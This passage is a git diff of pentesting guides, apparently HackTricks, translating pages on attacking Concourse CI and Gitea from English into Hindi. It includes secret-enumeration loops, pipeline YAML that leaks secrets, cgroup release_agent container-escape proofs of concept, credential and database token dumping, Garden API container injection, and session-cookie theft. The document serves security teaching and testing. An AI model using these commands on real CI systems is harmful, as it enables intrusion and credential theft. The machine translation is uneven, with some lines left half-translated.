(**sensitive information** might be found in the definition): - - `fly -t get-pipeline -p ` -- Get all pipeline **config declared vars** - - `for pipename in $(fly -t pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done` -- Get all the **pipelines secret names used** (if you can create/modify a job or hijack a container you could exfiltrate them): - +- **सूची** पाइपलाइनों की: +- `fly -t pipelines -a` +- पाइपलाइन yaml प्राप्त करें (**संवेदनशील जानकारी** परिभाषा में मिल सकती है): +- `fly -t get-pipeline -p ` +- सभी पाइपलाइन **config घोषित vars** प्राप्त करें +- `for pipename in $(fly -t pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done` +- सभी **pipelines secret names used** प्राप्त करें (यदि आप एक नौकरी बना/संशोधित कर सकते हैं या एक कंटेनर को हाईजैक कर सकते हैं तो आप उन्हें निकाल सकते हैं): ```bash rm /tmp/secrets.txt; for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do - echo $pipename; - fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt; - echo ""; +echo $pipename; +fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt; +echo ""; done echo "" echo "ALL SECRETS" cat /tmp/secrets.txt | sort | uniq rm /tmp/secrets.txt ``` - #### Containers & Workers - List **workers**: - - `fly -t workers` +- `fly -t workers` - List **containers**: - - `fly -t containers` +- `fly -t containers` - List **builds** (to see what is running): - - `fly -t builds` +- `fly -t builds` ### Concourse Attacks @@ -129,90 +125,83 @@ rm /tmp/secrets.txt #### Secrets and params enumeration -In the previous section we saw how you can **get all the secrets names and vars** used by the pipeline. The **vars might contain sensitive info** and the name of the **secrets will be useful later to try to steal** them. +पिछले अनुभाग में हमने देखा कि आप **पाइपलाइन द्वारा उपयोग किए जाने वाले सभी रहस्यों के नाम और वेरिएबल्स प्राप्त कर सकते हैं**। **वेरिएबल्स में संवेदनशील जानकारी हो सकती है** और **रहस्यों के नाम बाद में उन्हें चुराने की कोशिश करने के लिए उपयोगी होंगे**। #### Session inside running or recently run container -If you have enough privileges (**member role or more**) you will be able to **list pipelines and roles** and just get a **session inside** the `/` **container** using: - +यदि आपके पास पर्याप्त विशेषाधिकार (**सदस्य भूमिका या अधिक**) हैं, तो आप **पाइपलाइनों और भूमिकाओं की सूची** प्राप्त कर सकेंगे और बस `/` **कंटेनर** के अंदर एक **सत्र प्राप्त कर सकेंगे**: ```bash fly -t tutorial intercept --job pipeline-name/job-name fly -t tutorial intercept # To be presented a prompt with all the options ``` +इन अनुमतियों के साथ आप सक्षम हो सकते हैं: -With these permissions you might be able to: +- **गुप्त जानकारियाँ चुराना** **कंटेनर** के अंदर +- **नोड** पर **भागने** की कोशिश करना +- **क्लाउड मेटाडेटा** एंडपॉइंट को सूचीबद्ध/दुरुपयोग करना (पॉड से और नोड से, यदि संभव हो) -- **Steal the secrets** inside the **container** -- Try to **escape** to the node -- Enumerate/Abuse **cloud metadata** endpoint (from the pod and from the node, if possible) - -#### Pipeline Creation/Modification - -If you have enough privileges (**member role or more**) you will be able to **create/modify new pipelines.** Check this example: +#### पाइपलाइन निर्माण/संशोधन +यदि आपके पास पर्याप्त विशेषाधिकार हैं (**सदस्य भूमिका या अधिक**) तो आप **नई पाइपलाइनों को बना/संशोधित** करने में सक्षम होंगे। इस उदाहरण को देखें: ```yaml jobs: - - name: simple - plan: - - task: simple-task - privileged: true - config: - # Tells Concourse which type of worker this task should run on - platform: linux - image_resource: - type: registry-image - source: - repository: busybox # images are pulled from docker hub by default - run: - path: sh - args: - - -cx - - | - echo "$SUPER_SECRET" - sleep 1000 - params: - SUPER_SECRET: ((super.secret)) +- name: simple +plan: +- task: simple-task +privileged: true +config: +# Tells Concourse which type of worker this task should run on +platform: linux +image_resource: +type: registry-image +source: +repository: busybox # images are pulled from docker hub by default +run: +path: sh +args: +- -cx +- | +echo "$SUPER_SECRET" +sleep 1000 +params: +SUPER_SECRET: ((super.secret)) ``` - With the **modification/creation** of a new pipeline you will be able to: -- **Steal** the **secrets** (via echoing them out or getting inside the container and running `env`) -- **Escape** to the **node** (by giving you enough privileges - `privileged: true`) -- Enumerate/Abuse **cloud metadata** endpoint (from the pod and from the node) -- **Delete** created pipeline +- **चुराना** the **गुप्त** (via echoing them out or getting inside the container and running `env`) +- **भागना** to the **नोड** (by giving you enough privileges - `privileged: true`) +- Enumerate/Abuse **क्लाउड मेटाडेटा** endpoint (from the pod and from the node) +- **हटाना** created pipeline #### Execute Custom Task -This is similar to the previous method but instead of modifying/creating a whole new pipeline you can **just execute a custom task** (which will probably be much more **stealthier**): - +This is similar to the previous method but instead of modifying/creating a whole new pipeline you can **just execute a custom task** (which will probably be much more **गुप्त**): ```yaml # For more task_config options check https://concourse-ci.org/tasks.html platform: linux image_resource: - type: registry-image - source: - repository: ubuntu +type: registry-image +source: +repository: ubuntu run: - path: sh - args: - - -cx - - | - env - sleep 1000 +path: sh +args: +- -cx +- | +env +sleep 1000 params: - SUPER_SECRET: ((super.secret)) +SUPER_SECRET: ((super.secret)) ``` ```bash fly -t tutorial execute --privileged --config task_config.yml ``` - #### Escaping to the node from privileged task In the previous sections we saw how to **execute a privileged task with concourse**. This won't give the container exactly the same access as the privileged flag in a docker container. For example, you won't see the node filesystem device in /dev, so the escape could be more "complex". In the following PoC we are going to use the release_agent to escape with some small modifications: - ```bash # Mounts the RDMA cgroup controller and create a child cgroup # If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist" @@ -270,14 +259,12 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" # Reads the output cat /output ``` - > [!WARNING] -> As you might have noticed this is just a [**regular release_agent escape**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) just modifying the path of the cmd in the node +> जैसा कि आपने देखा होगा, यह केवल एक [**सामान्य release_agent escape**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) है जो नोड में cmd के पथ को संशोधित करता है। -#### Escaping to the node from a Worker container - -A regular release_agent escape with a minor modification is enough for this: +#### एक वर्कर कंटेनर से नोड में भागना +इसके लिए एक सामान्य release_agent escape में एक छोटा संशोधन पर्याप्त है: ```bash mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x @@ -304,13 +291,11 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" # Reads the output cat /output ``` +#### Web कंटेनर से नोड पर भागना -#### Escaping to the node from the Web container - -Even if the web container has some defenses disabled it's **not running as a common privileged container** (for example, you **cannot** **mount** and the **capabilities** are very **limited**, so all the easy ways to escape from the container are useless). - -However, it stores **local credentials in clear text**: +भले ही वेब कंटेनर में कुछ सुरक्षा उपाय निष्क्रिय हैं, यह **एक सामान्य विशेषाधिकार प्राप्त कंटेनर के रूप में नहीं चल रहा है** (उदाहरण के लिए, आप **माउंट** नहीं कर सकते और **क्षमताएँ** बहुत **सीमित** हैं, इसलिए कंटेनर से भागने के सभी आसान तरीके बेकार हैं)। +हालांकि, यह **स्थानीय क्रेडेंशियल्स को स्पष्ट पाठ में** संग्रहीत करता है: ```bash cat /concourse-auth/local-users test:test @@ -319,11 +304,9 @@ env | grep -i local_user CONCOURSE_MAIN_TEAM_LOCAL_USER=test CONCOURSE_ADD_LOCAL_USER=test:test ``` +आप उन क्रेडेंशियल्स का उपयोग करके **वेब सर्वर के खिलाफ लॉगिन** कर सकते हैं और **एक विशेषाधिकार प्राप्त कंटेनर बना सकते हैं और नोड से बाहर निकल सकते हैं**। -You cloud use that credentials to **login against the web server** and **create a privileged container and escape to the node**. - -In the environment you can also find information to **access the postgresql** instance that concourse uses (address, **username**, **password** and database among other info): - +पर्यावरण में आप **पोस्टग्रेसक्यूएल** उदाहरण तक पहुँचने के लिए जानकारी भी पा सकते हैं जो concourse उपयोग करता है (पता, **उपयोगकर्ता नाम**, **पासवर्ड** और डेटाबेस सहित अन्य जानकारी): ```bash env | grep -i postg CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238 @@ -344,39 +327,35 @@ select * from refresh_token; select * from teams; #Change the permissions of the users in the teams select * from users; ``` - -#### Abusing Garden Service - Not a real Attack +#### गार्डन सेवा का दुरुपयोग - एक असली हमला नहीं > [!WARNING] -> This are just some interesting notes about the service, but because it's only listening on localhost, this notes won't present any impact we haven't already exploited before +> ये केवल सेवा के बारे में कुछ दिलचस्प नोट्स हैं, लेकिन क्योंकि यह केवल लोकलहोस्ट पर सुन रहा है, ये नोट्स कोई ऐसा प्रभाव नहीं डालेंगे जिसे हमने पहले ही शोषण किया है -By default each concourse worker will be running a [**Garden**](https://github.com/cloudfoundry/garden) service in port 7777. This service is used by the Web master to indicate the worker **what he needs to execute** (download the image and run each task). This sound pretty good for an attacker, but there are some nice protections: +डिफ़ॉल्ट रूप से, प्रत्येक concourse कार्यकर्ता पोर्ट 7777 में एक [**गार्डन**](https://github.com/cloudfoundry/garden) सेवा चला रहा होगा। इस सेवा का उपयोग वेब मास्टर द्वारा कार्यकर्ता को **यह बताने के लिए किया जाता है कि उसे क्या निष्पादित करना है** (इमेज डाउनलोड करना और प्रत्येक कार्य चलाना)। यह एक हमलावर के लिए काफी अच्छा लगता है, लेकिन कुछ अच्छे सुरक्षा उपाय हैं: -- It's just **exposed locally** (127..0.0.1) and I think when the worker authenticates agains the Web with the special SSH service, a tunnel is created so the web server can **talk to each Garden service** inside each worker. -- The web server is **monitoring the running containers every few seconds**, and **unexpected** containers are **deleted**. So if you want to **run a custom container** you need to **tamper** with the **communication** between the web server and the garden service. - -Concourse workers run with high container privileges: +- यह केवल **स्थानीय रूप से** (127..0.0.1) **प्रदर्शित** है और मुझे लगता है कि जब कार्यकर्ता विशेष SSH सेवा के साथ वेब के खिलाफ प्रमाणीकरण करता है, तो एक सुरंग बनाई जाती है ताकि वेब सर्वर **प्रत्येक गार्डन सेवा** से बात कर सके जो प्रत्येक कार्यकर्ता के अंदर है। +- वेब सर्वर **हर कुछ सेकंड में चल रहे कंटेनरों की निगरानी कर रहा है**, और **अप्रत्याशित** कंटेनरों को **हटाया** जाता है। इसलिए यदि आप **एक कस्टम कंटेनर चलाना** चाहते हैं, तो आपको वेब सर्वर और गार्डन सेवा के बीच **संवाद** के साथ **छेड़छाड़** करनी होगी। +Concourse कार्यकर्ता उच्च कंटेनर विशेषाधिकारों के साथ चलते हैं: ``` Container Runtime: docker Has Namespaces: - pid: true - user: false +pid: true +user: false AppArmor Profile: kernel Capabilities: - BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read +BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read Seccomp: disabled ``` - -However, techniques like **mounting** the /dev device of the node or release_agent **won't work** (as the real device with the filesystem of the node isn't accesible, only a virtual one). We cannot access processes of the node, so escaping from the node without kernel exploits get complicated. +हालांकि, तकनीकें जैसे **mounting** /dev डिवाइस नोड या release_agent **काम नहीं करेंगी** (क्योंकि नोड के फाइल सिस्टम के साथ असली डिवाइस उपलब्ध नहीं है, केवल एक वर्चुअल है)। हम नोड की प्रक्रियाओं तक पहुँच नहीं सकते, इसलिए कर्नेल एक्सप्लॉइट्स के बिना नोड से भागना जटिल हो जाता है। > [!NOTE] -> In the previous section we saw how to escape from a privileged container, so if we can **execute** commands in a **privileged container** created by the **current** **worker**, we could **escape to the node**. +> पिछले अनुभाग में हमने देखा कि एक विशेषाधिकार प्राप्त कंटेनर से कैसे भागना है, इसलिए यदि हम **privileged container** में **commands** **execute** कर सकते हैं जो **current** **worker** द्वारा बनाया गया है, तो हम **node** पर **escape** कर सकते हैं। -Note that playing with concourse I noted that when a new container is spawned to run something, the container processes are accessible from the worker container, so it's like a container creating a new container inside of it. - -**Getting inside a running privileged container** +ध्यान दें कि concourse के साथ खेलते समय मैंने देखा कि जब कुछ चलाने के लिए एक नया कंटेनर उत्पन्न होता है, तो कंटेनर प्रक्रियाएँ कार्यकर्ता कंटेनर से सुलभ होती हैं, इसलिए यह एक कंटेनर के अंदर एक नया कंटेनर बनाने जैसा है। +**एक चल रहे विशेषाधिकार प्राप्त कंटेनर के अंदर जाना** ```bash # Get current container curl 127.0.0.1:7777/containers @@ -389,30 +368,26 @@ curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties # Execute a new process inside a container ## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53 wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \ - --header='Content-Type:application/json' \ - 'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes' +--header='Content-Type:application/json' \ +'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes' # OR instead of doing all of that, you could just get into the ns of the process of the privileged container nsenter --target 76011 --mount --uts --ipc --net --pid -- sh ``` +**नया विशेषाधिकार प्राप्त कंटेनर बनाना** -**Creating a new privileged container** - -You can very easily create a new container (just run a random UID) and execute something on it: - +आप बहुत आसानी से एक नया कंटेनर बना सकते हैं (बस एक यादृच्छिक UID चलाएँ) और उस पर कुछ निष्पादित कर सकते हैं: ```bash curl -X POST http://127.0.0.1:7777/containers \ - -H 'Content-Type: application/json' \ - -d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}' +-H 'Content-Type: application/json' \ +-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}' # Wget will be stucked there as long as the process is being executed wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \ - --header='Content-Type:application/json' \ - 'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes' +--header='Content-Type:application/json' \ +'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes' ``` - -However, the web server is checking every few seconds the containers that are running, and if an unexpected one is discovered, it will be deleted. As the communication is occurring in HTTP, you could tamper the communication to avoid the deletion of unexpected containers: - +हालांकि, वेब सर्वर हर कुछ सेकंड में चल रहे कंटेनरों की जांच कर रहा है, और यदि कोई अप्रत्याशित कंटेनर पाया जाता है, तो उसे हटा दिया जाएगा। चूंकि संचार HTTP में हो रहा है, आप अप्रत्याशित कंटेनरों के हटाने से बचने के लिए संचार में छेड़छाड़ कर सकते हैं: ``` GET /containers HTTP/1.1. Host: 127.0.0.1:7777. @@ -434,13 +409,8 @@ Host: 127.0.0.1:7777. User-Agent: Go-http-client/1.1. Accept-Encoding: gzip. ``` - -## References +## संदर्भ - https://concourse-ci.org/vars.html {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md index 0cc6363a7..27dfa4d59 100644 --- a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md +++ b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md @@ -8,19 +8,16 @@ #### With Docker-Compose -This docker-compose file simplifies the installation to do some tests with concourse: - +यह docker-compose फ़ाइल concourse के साथ कुछ परीक्षण करने के लिए स्थापना को सरल बनाती है: ```bash wget https://raw.githubusercontent.com/starkandwayne/concourse-tutorial/master/docker-compose.yml docker-compose up -d ``` +आप अपने OS के लिए कमांड लाइन `fly` को वेब से `127.0.0.1:8080` पर डाउनलोड कर सकते हैं। -You can download the command line `fly` for your OS from the web in `127.0.0.1:8080` - -#### With Kubernetes (Recommended) - -You can easily deploy concourse in **Kubernetes** (in **minikube** for example) using the helm-chart: [**concourse-chart**](https://github.com/concourse/concourse-chart). +#### Kubernetes के साथ (अनुशंसित) +आप आसानी से **Kubernetes** (उदाहरण के लिए **minikube** में) को हेल्म-चार्ट का उपयोग करके तैनात कर सकते हैं: [**concourse-chart**](https://github.com/concourse/concourse-chart). ```bash brew install helm helm repo add concourse https://concourse-charts.storage.googleapis.com/ @@ -31,94 +28,90 @@ helm install concourse-release concourse/concourse # If you need to delete it helm delete concourse-release ``` - -After generating the concourse env, you could generate a secret and give a access to the SA running in concourse web to access K8s secrets: - +कॉनकोर्स वातावरण बनाने के बाद, आप एक गुप्त कुंजी उत्पन्न कर सकते हैं और कॉनकोर्स वेब में चल रहे SA को K8s गुप्त कुंजियों तक पहुँच प्रदान कर सकते हैं: ```yaml echo 'apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: - name: read-secrets +name: read-secrets rules: - apiGroups: [""] - resources: ["secrets"] - verbs: ["get"] +resources: ["secrets"] +verbs: ["get"] --- apiVersion: rbac.authorization.k8s.io/v1 kind: RoleBinding metadata: - name: read-secrets-concourse +name: read-secrets-concourse roleRef: - apiGroup: rbac.authorization.k8s.io - kind: ClusterRole - name: read-secrets +apiGroup: rbac.authorization.k8s.io +kind: ClusterRole +name: read-secrets subjects: - kind: ServiceAccount - name: concourse-release-web - namespace: default +name: concourse-release-web +namespace: default --- apiVersion: v1 kind: Secret metadata: - name: super - namespace: concourse-release-main +name: super +namespace: concourse-release-main type: Opaque data: - secret: MWYyZDFlMmU2N2Rm +secret: MWYyZDFlMmU2N2Rm ' | kubectl apply -f - ``` +### पाइपलाइन बनाएं -### Create Pipeline +एक पाइपलाइन [जॉब्स](https://concourse-ci.org/jobs.html) की एक सूची से बनी होती है जिसमें [स्टेप्स](https://concourse-ci.org/steps.html) की एक क्रमबद्ध सूची होती है। -A pipeline is made of a list of [Jobs](https://concourse-ci.org/jobs.html) which contains an ordered list of [Steps](https://concourse-ci.org/steps.html). +### स्टेप्स -### Steps +कई विभिन्न प्रकार के स्टेप्स का उपयोग किया जा सकता है: -Several different type of steps can be used: +- **the** [**`task` step**](https://concourse-ci.org/task-step.html) **एक** [**task**](https://concourse-ci.org/tasks.html) **चलाता है** +- [`get` step](https://concourse-ci.org/get-step.html) एक [resource](https://concourse-ci.org/resources.html) लाता है +- [`put` step](https://concourse-ci.org/put-step.html) एक [resource](https://concourse-ci.org/resources.html) को अपडेट करता है +- [`set_pipeline` step](https://concourse-ci.org/set-pipeline-step.html) एक [pipeline](https://concourse-ci.org/pipelines.html) को कॉन्फ़िगर करता है +- [`load_var` step](https://concourse-ci.org/load-var-step.html) एक मान को [local var](https://concourse-ci.org/vars.html#local-vars) में लोड करता है +- [`in_parallel` step](https://concourse-ci.org/in-parallel-step.html) स्टेप्स को समानांतर में चलाता है +- [`do` step](https://concourse-ci.org/do-step.html) स्टेप्स को अनुक्रम में चलाता है +- [`across` step modifier](https://concourse-ci.org/across-step.html#schema.across) एक स्टेप को कई बार चलाता है; प्रत्येक संयोजन के लिए एक बार वैरिएबल मानों का +- [`try` step](https://concourse-ci.org/try-step.html) एक स्टेप को चलाने का प्रयास करता है और सफल होता है भले ही स्टेप विफल हो जाए -- **the** [**`task` step**](https://concourse-ci.org/task-step.html) **runs a** [**task**](https://concourse-ci.org/tasks.html) -- the [`get` step](https://concourse-ci.org/get-step.html) fetches a [resource](https://concourse-ci.org/resources.html) -- the [`put` step](https://concourse-ci.org/put-step.html) updates a [resource](https://concourse-ci.org/resources.html) -- the [`set_pipeline` step](https://concourse-ci.org/set-pipeline-step.html) configures a [pipeline](https://concourse-ci.org/pipelines.html) -- the [`load_var` step](https://concourse-ci.org/load-var-step.html) loads a value into a [local var](https://concourse-ci.org/vars.html#local-vars) -- the [`in_parallel` step](https://concourse-ci.org/in-parallel-step.html) runs steps in parallel -- the [`do` step](https://concourse-ci.org/do-step.html) runs steps in sequence -- the [`across` step modifier](https://concourse-ci.org/across-step.html#schema.across) runs a step multiple times; once for each combination of variable values -- the [`try` step](https://concourse-ci.org/try-step.html) attempts to run a step and succeeds even if the step fails +हर [स्टेप](https://concourse-ci.org/steps.html) एक [जॉब प्लान](https://concourse-ci.org/jobs.html#schema.job.plan) में अपने **अपने कंटेनर** में चलता है। आप कंटेनर के अंदर कुछ भी चलाने के लिए स्वतंत्र हैं _(यानी, मेरे परीक्षण चलाएं, यह बैश स्क्रिप्ट चलाएं, यह छवि बनाएं, आदि)_। इसलिए यदि आपके पास पांच स्टेप्स वाला एक जॉब है, तो Concourse पांच कंटेनर बनाएगा, प्रत्येक स्टेप के लिए एक। -Each [step](https://concourse-ci.org/steps.html) in a [job plan](https://concourse-ci.org/jobs.html#schema.job.plan) runs in its **own container**. You can run anything you want inside the container _(i.e. run my tests, run this bash script, build this image, etc.)_. So if you have a job with five steps Concourse will create five containers, one for each step. - -Therefore, it's possible to indicate the type of container each step needs to be run in. - -### Simple Pipeline Example +इसलिए, यह संकेत देना संभव है कि प्रत्येक स्टेप को किस प्रकार के कंटेनर में चलाने की आवश्यकता है। +### सरल पाइपलाइन उदाहरण ```yaml jobs: - - name: simple - plan: - - task: simple-task - privileged: true - config: - # Tells Concourse which type of worker this task should run on - platform: linux - image_resource: - type: registry-image - source: - repository: busybox # images are pulled from docker hub by default - run: - path: sh - args: - - -cx - - | - sleep 1000 - echo "$SUPER_SECRET" - params: - SUPER_SECRET: ((super.secret)) +- name: simple +plan: +- task: simple-task +privileged: true +config: +# Tells Concourse which type of worker this task should run on +platform: linux +image_resource: +type: registry-image +source: +repository: busybox # images are pulled from docker hub by default +run: +path: sh +args: +- -cx +- | +sleep 1000 +echo "$SUPER_SECRET" +params: +SUPER_SECRET: ((super.secret)) ``` ```bash @@ -130,26 +123,21 @@ fly -t tutorial trigger-job --job pipe-name/simple --watch # From another console fly -t tutorial intercept --job pipe-name/simple ``` - Check **127.0.0.1:8080** to see the pipeline flow. ### Bash script with output/input pipeline -It's possible to **save the results of one task in a file** and indicate that it's an output and then indicate the input of the next task as the output of the previous task. What concourse does is to **mount the directory of the previous task in the new task where you can access the files created by the previous task**. +यह संभव है कि **एक कार्य के परिणामों को एक फ़ाइल में सहेजें** और यह संकेत दें कि यह एक आउटपुट है और फिर अगले कार्य के इनपुट को पिछले कार्य के आउटपुट के रूप में संकेत दें। जो concourse करता है वह है **पिछले कार्य के निर्देशिका को नए कार्य में माउंट करना जहाँ आप पिछले कार्य द्वारा बनाए गए फ़ाइलों तक पहुँच सकते हैं**। ### Triggers -You don't need to trigger the jobs manually every-time you need to run them, you can also program them to be run every-time: +आपको हर बार उन्हें चलाने के लिए मैन्युअल रूप से नौकरियों को ट्रिगर करने की आवश्यकता नहीं है, आप उन्हें हर बार चलाने के लिए प्रोग्राम भी कर सकते हैं: -- Some time passes: [Time resource](https://github.com/concourse/time-resource/) -- On new commits to the main branch: [Git resource](https://github.com/concourse/git-resource) -- New PR's: [Github-PR resource](https://github.com/telia-oss/github-pr-resource) -- Fetch or push the latest image of your app: [Registry-image resource](https://github.com/concourse/registry-image-resource/) +- कुछ समय बीतता है: [Time resource](https://github.com/concourse/time-resource/) +- मुख्य शाखा में नए कमिट पर: [Git resource](https://github.com/concourse/git-resource) +- नए PR's: [Github-PR resource](https://github.com/telia-oss/github-pr-resource) +- अपने ऐप की नवीनतम छवि को लाना या पुश करना: [Registry-image resource](https://github.com/concourse/registry-image-resource/) -Check a YAML pipeline example that triggers on new commits to master in [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html) +एक YAML पाइपलाइन उदाहरण देखें जो मास्टर में नए कमिट पर ट्रिगर होता है [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/gitea-security/README.md b/src/pentesting-ci-cd/gitea-security/README.md index bf4f6485a..412172a9b 100644 --- a/src/pentesting-ci-cd/gitea-security/README.md +++ b/src/pentesting-ci-cd/gitea-security/README.md @@ -1,142 +1,130 @@ -# Gitea Security +# Gitea सुरक्षा {{#include ../../banners/hacktricks-training.md}} -## What is Gitea +## Gitea क्या है -**Gitea** is a **self-hosted community managed lightweight code hosting** solution written in Go. +**Gitea** एक **स्व-होस्टेड समुदाय द्वारा प्रबंधित हल्का कोड होस्टिंग** समाधान है जो Go में लिखा गया है। ![](<../../images/image (160).png>) -### Basic Information +### बुनियादी जानकारी {{#ref}} basic-gitea-information.md {{#endref}} -## Lab - -To run a Gitea instance locally you can just run a docker container: +## प्रयोगशाला +स्थानीय रूप से Gitea उदाहरण चलाने के लिए आप बस एक डॉकर कंटेनर चला सकते हैं: ```bash docker run -p 3000:3000 gitea/gitea ``` +पोर्ट 3000 से कनेक्ट करें ताकि वेब पेज तक पहुंच सकें। -Connect to port 3000 to access the web page. - -You could also run it with kubernetes: - +आप इसे कुबेरनेट्स के साथ भी चला सकते हैं: ``` helm repo add gitea-charts https://dl.gitea.io/charts/ helm install gitea gitea-charts/gitea ``` +## अनधिकृत गणना -## Unauthenticated Enumeration +- सार्वजनिक रिपॉजिटरी: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos) +- पंजीकृत उपयोगकर्ता: [http://localhost:3000/explore/users](http://localhost:3000/explore/users) +- पंजीकृत संगठन: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations) -- Public repos: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos) -- Registered users: [http://localhost:3000/explore/users](http://localhost:3000/explore/users) -- Registered Organizations: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations) +ध्यान दें कि **डिफ़ॉल्ट रूप से Gitea नए उपयोगकर्ताओं को पंजीकरण करने की अनुमति देता है**। यह नए उपयोगकर्ताओं को अन्य संगठनों/उपयोगकर्ताओं के रिपॉजिटरी पर विशेष रूप से दिलचस्प पहुंच नहीं देगा, लेकिन एक **लॉग इन उपयोगकर्ता** संभवतः **अधिक रिपॉजिटरी या संगठनों को देख सकता है**। -Note that by **default Gitea allows new users to register**. This won't give specially interesting access to the new users over other organizations/users repos, but a **logged in user** might be able to **visualize more repos or organizations**. +## आंतरिक शोषण -## Internal Exploitation +इस परिदृश्य के लिए हम मान लेंगे कि आपने एक github खाते तक कुछ पहुंच प्राप्त की है। -For this scenario we are going to suppose that you have obtained some access to a github account. +### उपयोगकर्ता क्रेडेंशियल्स/वेब कुकी के साथ -### With User Credentials/Web Cookie +यदि आपके पास किसी संगठन के भीतर एक उपयोगकर्ता के लिए क्रेडेंशियल्स हैं (या आपने एक सत्र कुकी चुराई है) तो आप **बस लॉगिन कर सकते हैं** और देख सकते हैं कि आपके पास **कौन सी अनुमतियाँ हैं** किस **रिपॉजिटरी पर,** आप **कौन से टीमों में हैं,** **अन्य उपयोगकर्ताओं की सूची**, और **रिपॉजिटरी कैसे सुरक्षित हैं।** -If you somehow already have credentials for a user inside an organization (or you stole a session cookie) you can **just login** and check which which **permissions you have** over which **repos,** in **which teams** you are, **list other users**, and **how are the repos protected.** - -Note that **2FA may be used** so you will only be able to access this information if you can also **pass that check**. +ध्यान दें कि **2FA का उपयोग किया जा सकता है** इसलिए आप केवल इस जानकारी तक पहुँच सकते हैं यदि आप उस **चेक को भी पास कर सकते हैं**। > [!NOTE] -> Note that if you **manage to steal the `i_like_gitea` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA. +> ध्यान दें कि यदि आप **`i_like_gitea` कुकी चुराने में सफल होते हैं** (वर्तमान में SameSite: Lax के साथ कॉन्फ़िगर किया गया) तो आप **बिना क्रेडेंशियल्स या 2FA की आवश्यकता के उपयोगकर्ता का पूरी तरह से अनुकरण कर सकते हैं**। -### With User SSH Key +### उपयोगकर्ता SSH कुंजी के साथ -Gitea allows **users** to set **SSH keys** that will be used as **authentication method to deploy code** on their behalf (no 2FA is applied). - -With this key you can perform **changes in repositories where the user has some privileges**, however you can not use it to access gitea api to 